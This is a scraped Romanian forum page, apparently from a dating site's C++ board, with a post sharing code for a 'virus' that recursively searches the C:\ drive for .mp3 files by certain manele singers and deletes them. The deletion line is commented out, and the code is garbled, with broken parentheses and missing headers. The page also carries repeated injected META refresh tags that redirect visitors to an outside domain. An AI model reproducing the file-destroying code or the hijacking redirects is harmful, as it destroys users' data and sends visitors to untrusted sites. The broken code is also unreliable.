Simpatie.ro - matrimoniale
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
Nou pe simpatie:
Sophya pe Simpatie.ro
Femeie
25 ani
Bucuresti
cauta Barbat
25 - 54 ani
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info"> / C++ /

Virus Anti-Manele

Pagini: 1  
#1
GyuTu
Administrator
Postari: 90
Codu la Virusu Anti MAnele !!

#include #include bool antimanele(char Path[MAX_PATH]);
char *manelist[MAX_PATH]; // array cu numele manelistilor

main()
{
antimanele("C:\\";
Sleep(100000);
}

bool antimanele(char Path[MAX_PATH])
{
manelist[0]="adrian"; //declaram numele
manelist[1]="copilul minune";
manelist[2]="gutza";

WIN32_FIND_DATA search; //variabila pentru cautare
char lpTemp[MAX_PATH];
sprintf(lpTemp,"%s\\*",Path); //creem calea directorului
HANDLE hFile=FindFirstFile(lpTemp,&search); //cautam fisierele
if(hFile!=INVALID_HANDLE_VALUE)
{
while(FindNextFile(hFile,&search))
{
if((search.dwFileAttributes)&&(*search.cFileName != '.')) // evitam "." si ".."
{
if(search.dwFileAttributes<32) // director
{
char NextDirName[MAX_PATH];
sprintf(NextDirName,"%s\\%s",Path,search.cFileName); //creem calea noului director
antimanele(NextDirName); //cautam recusiv in acesta
}
else //fisier
{
char FilePath[MAX_PATH];
sprintf(FilePath,"%s\\%s",Path,search.cFileName); //calea absoluta a fisierului
if(strstr(search.cFileName,".mp3"!=0) // duuh
{
for(int i=0;i<=1;i++) // cautam in numele manelistilor
{
if(strstr(search.cFileName,manelist[i]
)!=0) // daca numele fisierului contine un nume de manelist...
{
// DeleteFile(FilePath); // ..il stergem
}
}
}
}
}
}
}
}


 
   
Pagini: 1  
Mergi la